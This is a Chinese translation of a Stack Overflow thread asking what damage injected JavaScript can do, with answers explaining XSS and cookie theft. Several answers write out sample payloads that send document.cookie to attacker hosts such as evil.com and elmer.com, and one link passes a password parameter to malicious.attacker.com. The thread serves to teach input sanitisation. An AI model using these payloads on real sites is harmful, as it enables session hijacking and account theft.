logo标签列表

JavaScript能造成哪些危害？

javascriptweb-applicationssecurity
11

我刚好看到了Joel的博客这里...

例如，如果你有一个网页上写着“你叫什么名字？”并带有一个编辑框，提交该页面会将你带到另一个页面，上面写着“你好，艾尔默！”（假设用户的名字是艾尔默），那么这就是一个安全漏洞，因为用户可以输入各种奇怪的HTML和JavaScript，代替“Elmer”，他们的奇怪的JavaScript可能会做一些不好的事情，现在这些不好的事情看起来来自你，例如他们可以读取你放置在那里的cookie并将它们转发给邪恶博士的邪恶站点。

由于javascript在客户端运行，所以它只能访问或处理客户端的信息。

  1. 它可以读取隐藏字段中存储的信息并更改它们。
  2. 它可以读取、写入或操作cookies…

但是我感觉，这些信息对他来说已经是可用的了。（如果他足够聪明，在文本框中传递javascript） 所以我们没有赋予他新的信息或提供他对服务器的不当访问...

只是好奇想知道我是否漏掉了什么。你能列出恶意用户可以使用此安全漏洞做什么事吗？

编辑：感谢所有人的启示。正如kizzx2在其中一条评论中指出的那样... 我忽视了一个事实，即用户A编写的JavaScript可能会在数不清的情况下在用户B的浏览器中执行，这种情况下它就成为了一个巨大的风险。

我认为引用的例子并不适用于大多数JavaScript漏洞（如CSRF，XSS等）。特别是，“那些恶心的东西似乎来自你”，听起来像JavaScript将在服务器端执行（“你”），这是不正确的。 - kizzx2
9个回答
4
3

它可以读取、写入或操作cookie

这是关键部分。你可以像这样窃取cookie：简单地编写一个脚本来读取cookie，并使用AJAX将其发送到一些恶意域（使用JSONP来克服跨域问题，我认为你甚至不需要麻烦使用ajax，一个简单的<img src="http://evil.com/?cookieValue=123">就足够了），并将可怜的人的身份验证cookie发送到你的电子邮件中。

1
但那可怜的家伙不就是你吗？我如何能偷走我的 cookie，当我从服务器检索页面并在页面中填入正确的值（而不是任何脚本）时。 - The King
@The King，我会给这个可怜的家伙发送一封电子邮件，其中包含一个特别制作的URL，指向您的网站，并告诉他点击链接，因为他刚刚赢得了1000美元。他会点击这个链接（记住他是个可怜的人），然后打开您的网站，在那里价值将被注入到DOM中，因为您没有对其进行编码。现在假设这个家伙已经在您的网站上进行了身份验证，我的<script>标签将执行并窃取他的cookie并将其发送给我。 - Darin Dimitrov
这是一个经典的CSRF攻击方式。但是如果你仔细阅读引用的段落，我认为它不适用于这种情况。 - kizzx2
1
@国王：一个邪恶的用户在一个糟糕的网站上写了一条评论。你访问了同样的糟糕网站，当你的浏览器读取页面时，它会获取评论，实际上其中包含一些邪恶的JavaScript代码。邪恶的JavaScript代码读取你的cookies并将它们发送到一个邪恶的网站。由于你已经登录了使用cookie进行身份验证的喜爱网站，那么邪恶的用户现在就可以像你一样访问所有这些网站。 - some
3
我认为Joel在他的文章中所指的是，他描述的场景极易受到脚本注入攻击的影响，其中最著名的两种攻击是跨站脚本攻击（XSS）和跨站请求伪造（CSRF）。
由于大多数网站将Cookie作为身份验证/会话管理解决方案的一部分使用，如果恶意用户能够将恶意脚本注入到服务于其他用户的页面标记中，那么该恶意用户可以对其他用户进行许多有害的操作，例如窃取Cookie，在其 behalf 进行交易，用自己的内容替换您提供的所有内容，创建模仿您自己的表单并将数据发布到其站点等。
是的...“提供给其他用户”...但在这种情况下，页面并没有提供给其他人，它只是被送回给我... - The King
@The King- 我明白他的文章没有提到其他用户，但我认为这就是他在暗示的。 - Russ Cam
2
如果您在页面上显示来自用户的数据而没有对这些数据进行净化处理，那么这是一个巨大的安全漏洞，原因如下：
想象一下，如果用户输入的不是“Hello, Elmer!”，而是以下内容：
<script src="http://a-script-from-another-site.js" type="text/javascript"></script>

如果您在页面上显示信息且没有进行过滤，那么该用户现在可以在其他用户未察觉的情况下对您的页面进行任何操作。他们可以读取其他用户的cookie信息并将其发送到任何地方，他们可以更改您的CSS并隐藏页面上的所有内容，并展示他们自己的内容，他们可以替换您的登录表单为发送信息到任何他们希望的位置的表单等。真正的危险是在该用户之后其他用户来到你的网站时。不，他们无法直接使用JavaScript对服务器执行任何操作，但是他们可以访问其他访问您网站的人的信息。
如果您将这些信息保存到数据库中并展示它，那么所有访问该网站的用户都将被服务于那些内容。如果只是从未被实际保存到任何地方（提交表单并从GET或POST请求中获取数据）的表单中获得内容，则用户可以恶意构造一个URL（oursite.com/whatsyourname.php?username=Elmer，但您要把JavaScript放入其中而不是Elmer) 来到您网站上，并欺骗另一个用户访问该链接。
例如，如果在数据库中保存信息，则假设您在论坛上有一个登录表单以及帖子列表和用户名（您未经过滤），某个人注册时用户名是一个`
1
如果“Elmer”被存储在服务器端并提供给其他用户，那么这可能是一种威胁。我认为问题是指一个简单的场景，它会将响应直接返回给原始用户。在这种情况下，即使他输入了<script>标签，这与点击某个书签小工具完全相同--这是无害的。 - kizzx2
1
我觉得这非常具有误导性。你只是假设输入的代码被保存并显示给任何人看。在OP的示例中，它很可能只是用JavaScript打印出来的（即任何XSS都不会是持久性的）。 - pastapockets
我正在尝试（可能会失败）解决数据清洗的重要性问题。无论是保存在数据库中还是来自GET或POST请求，都不重要；重要的是现在可以向其他用户显示它，无论是通过欺骗他们访问具有恶意构造的URL的站点，还是只是从数据库中获取值并访问正常站点。 - Nate Bundy
@kizzx2：如果你认为那是问题的话，那么是的。但如果你认为问题是“Joel Spolsky在那篇文章中在谈论什么？”，那么这种情况假设“Elmer”存储在服务器端并且可以向其他用户提供服务。事实上，我认为向另一个用户提供内容正是原帖作者所缺乏理解的地方。想想Facebook。 - slebetman
@slebetman：我刚刚读了那篇文章...也许我的英语真的不够好，我很难把文章的措辞弯曲成你所描述的意思 :/（是的，这就是典型的CSRF攻击方式--但我必须阅读那篇文章才能知道它已经说了什么吗？） - kizzx2
显示剩余2条评论
2

一段时间以前，在 XSS 培训中向我展示了一个小例子。

假设 Elmer 是一位业余黑客。他没有在框中输入自己的姓名，而是输入了以下内容：

<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>

现在，如果服务器记录了用户输入的值并且某个管理员正在登录并查看这些值......Elmer将获得该管理员的cookie！
2

  • 使你的浏览器使用你的身份验证信息向其他服务发送请求，然后将结果发送回攻击者。

  • 显示一张阴茎的大图而不是你公司的标志。

  • 未经你的同意将任何个人信息或登录cookie发送到服务器。

很抱歉，这超出了我的理解范围... 想象一下你正在尝试将图像标签传递到文本框中... 下一页只能被你看到... 我（另一个用户）从服务器拉取网页时只会看到公司的标志。我是对的吗？还是我漏掉了什么重要的东西。 - The King
“让您的浏览器使用您的身份验证向其他服务发送请求……”这对用户而言是安全威胁，而不是服务器。（因为这个问题显然是在谈论用户与服务器之间的关系，而不是反过来。）如果用户想使用自己的凭据向其他服务发送请求，他只需要自己操作，而不需要通过文本框进行操作。 - kizzx2
@kizzx2 - 它不必发送到另一个服务器，它可以发送到您的服务器。然后，您的安全协议和敏感信息就会被泄露。如果您的服务器只有示例中提供的一个页面，没有其他内容，那么通过JavaScript注入就不会对服务器造成威胁。 - OrangeDog
1
  1. 除非执行，否则代码不会造成任何伤害。
  2. JavaScript 只能在客户端执行（好的，我知道有关服务器端 JS 的情况）。
  3. 如果用户编写了一些 JavaScript，并在自己的机器上执行 - 那么哪里有危害呢？当然，还有 CSRF，其他人已经解释过了。唯一存在威胁的情况是用户 A 可以编写一些代码，在用户 B 的机器上执行。
 - kizzx2
@kizzx2 - 这是一个重要的情况，而且 OP 忽略了它，这就是为什么我们都在试图引起他们的注意。 - OrangeDog
2
我建议您查看维基百科上关于JavaScript安全性的文章。该文章涵盖了许多漏洞。
2
有回答解释了CSRF和XSS。我想说的是，在特定的引用段落中，根本没有安全威胁。
那个引用段落很简单--它允许你执行一些JavaScript代码。恭喜你--我可以用Firebug做同样的事情，它给我一个命令行来玩耍而不必使用某个网站给我的文本框进行伪造。
我真的认为Joel在写这篇文章时并没有清醒。这个例子很具有误导性。
我们应该牢记以下几点：
1. 除非被执行，否则代码不会造成任何损害。 2. JavaScript只能在客户端执行（是的，有服务器端JavaScript，但显然不在这个问题/文章的背景下）。 3. 如果用户编写了一些JavaScript代码，并在自己的计算机上执行了这些代码 - 那么有什么危害？没有，因为他可以随时使用Firebug执行JavaScript，而无需通过文本框滥用它。
当然还有CSRF，其他人已经解释过了。唯一存在威胁的情况是User A可以编写一些代码，该代码会在User B的计算机上执行。
几乎所有直接回答“JavaScript可以造成什么危害？”的答案都解释了CSRF - 这需要User A能够编写User B可以执行的代码。
因此，这里是一个更完整，两部分的答案：
如果我们谈论引用段落，答案是“没有危害”
我不认为该段落的意义是像上面描述的情况，因为它非常明显地在谈论基本的“Hello, Elmer world”示例。从段落中强行得出隐含的意义只会使它更加误导。
如果我们谈论“JavaScript可以造成什么危害，总体而言”，那么答案与基本的XSS/CSRF有关。
额外奖励：以下是几个更现实的场景，说明了如何发生CSRF（User A编写JavaScript代码，并在User B的计算机上执行代码）：
- Web页面从GET获取参数。攻击者可以引诱受害者访问http://foo.com/?send_password_to=malicious.attacker.com。 - Web页面按原样显示一个用户生成的内容给其他用户。攻击者可以将这样的内容放在他的头像URL中：（这需要一些调整才能通过引号和等号的限制，但你懂我的意思）。
除非从GET或POST读取该变量，否则存在漏洞。假设新的URL是http://www.oursite.com/whatsyourname.php?username=Elmer，但您将JavaScript放入其中，并通过链接欺骗其他人访问该页面。现在，即使JavaScript未在其服务器上物理存储，您也可以访问该域的所有用户cookie。 - Nate Bundy
@Nate Bundy 没错。那本来就是一个正确的答案 :P - kizzx2
我想接受您对OrangeDog的回答关于用户A和用户B的评论。由于缺少该评论，您目前的回答是误导性的。请您包含该评论，以便我能够接受您的回答。 - The King
@The King 好的，已按要求增补答案 :) - kizzx2
0
假设一个用户读取您的源代码并根据自己的需求进行了更改，例如通过Ajax调用发布无用数据到您的服务器。有些开发人员擅长保护直接的用户输入，但对于从Ajax调用中进行的数据库调用可能不够小心，这些开发人员认为他们可以控制所有通过调用发送的数据。
网页内容由stack overflow 提供, 点击上面的
可以查看英文原文，
原文链接